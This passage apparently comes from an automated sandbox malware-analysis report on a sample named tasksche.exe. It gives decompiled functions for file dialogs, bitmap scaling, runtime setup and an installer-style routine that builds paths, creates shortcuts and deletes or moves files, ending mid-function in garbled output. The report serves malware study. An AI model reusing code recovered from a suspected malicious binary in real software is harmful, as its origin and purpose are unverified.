				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 = CommDlgExtendedError();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 = GetOpenFileNameW();
						} else {
							_t48 = GetSaveFileNameW();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f6
0x004051f9
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040523C
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 00405244
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405268

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0B Relevance: 19.6, APIs: 13, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419D0B(void* _a4, signed int _a8, int _a12) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				struct HBITMAP__* _v16;
				void* _v20;
				signed int _v36;
				signed int _v40;
				void _v44;
				struct HDC__* _t36;
				signed int _t43;
				struct HDC__* _t54;

				_t36 = GetDC(0);
				_v12 = _t36;
				_t54 = CreateCompatibleDC(_t36);
				_v8 = CreateCompatibleDC(_v12);
				GetObjectW(_a4, 0x18,  &_v44);
				asm("cdq");
				_t43 = _v36 * _a8 / _v40;
				if(_t43 < _a12) {
					_a12 = _t43;
				}
				_v16 = CreateCompatibleBitmap(_v12, _a8, _a12);
				_a4 = SelectObject(_t54, _a4);
				_v20 = SelectObject(_v8, _v16);
				StretchBlt(_v8, 0, 0, _a8, _a12, _t54, 0, 0, _v40, _v36, 0xcc0020);
				SelectObject(_t54, _a4);
				SelectObject(_v8, _v20);
				DeleteDC(_t54);
				DeleteDC(_v8);
				ReleaseDC(0, _v12);
				return _v16;
			}

0x00419d17
0x00419d24
0x00419d2c
0x00419d30
0x00419d3c
0x00419d49
0x00419d4a
0x00419d50
0x00419d52
0x00419d52
0x00419d6e
0x00419d76
0x00419d86
0x00419d9a
0x00419da4
0x00419dac
0x00419db5
0x00419dba
0x00419dc0
0x00419dcd

APIs

GetDC.USER32(00000000), ref: 00419D17
CreateCompatibleDC.GDI32(00000000), ref: 00419D27
CreateCompatibleDC.GDI32(?), ref: 00419D2E
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
SelectObject.GDI32(00000000,?), ref: 00419D71
SelectObject.GDI32(?,00000200), ref: 00419D7C
StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
SelectObject.GDI32(00000000,?), ref: 00419DA4
SelectObject.GDI32(?,00419EBD), ref: 00419DAC
DeleteDC.GDI32(00000000), ref: 00419DB5
DeleteDC.GDI32(?), ref: 00419DBA
ReleaseDC.USER32 ref: 00419DC0

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
Opcode ID: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction ID: fe64683af8def945f8560e9c967618457674570685148338231d72a037962566
Opcode Fuzzy Hash: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction Fuzzy Hash: C021A076900218FFCF129FA1DC48DDEBFBAFB48350B104466F914A2120C7369A65EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0041E854(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x42d8a0);
				E0041FA9C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00421465(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e854
0x0041e856
0x0041e85b
0x0041e860
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e900
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D8A0,0000000C,0041E98F,00000000,00000000,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0041E866
__crt_waiting_on_module_handle.LIBCMT ref: 0041E871

Part of subcall function 00421465: Sleep.KERNEL32(000003E8,00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 00421471
Part of subcall function 00421465: GetModuleHandleW.KERNEL32(00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0042147A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E89A
GetProcAddress.KERNEL32(0041A9BA,DecodePointer), ref: 0041E8AA
__lock.LIBCMT ref: 0041E8CC
InterlockedIncrement.KERNEL32(?), ref: 0041E8D9
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Strings

KERNEL32.DLL, xrefs: 0041E860, 0041E865, 0041E870
DecodePointer, xrefs: 0041E8A2
EncodePointer, xrefs: 0041E88E

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040F0C2(void* __edi) {
				long __ebx;
				intOrPtr _t263;
				void* _t264;
				void* _t335;
				short* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 = GetFileAttributesW;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = L"%s.%d.tmp";
													do {
														SetFileAttributesW(_t339 - 0x5c88, 0);
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_t285 = GetFileAttributesW(_t339 - 0x5c88);
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_t289 = DeleteFileW(_t339 - 0x5c88);
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_t294 = GetFileAttributesW(_t339 - 0x1040);
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_t297 = MoveFileW(_t339 - 0x5c88, _t339 - 0x1040);
																	__eflags = _t297;
																	if(_t297 != 0) {
																		MoveFileExW(_t339 - 0x1040, 0, 4);
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															SHFileOperationW(_t339 - 0x40);
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
															__edi = GetDlgItem( *(__ebp + 8), 0x66);
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
															__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
															__eax = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
															__eflags = __eax;
															if(__eax == 0) {
																__ebp - 0x10 = __ebp - 0x1040;
																__eax = __ebp - 0x20;
																 *(__ebp - 0x10) = 0x1000;
																RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
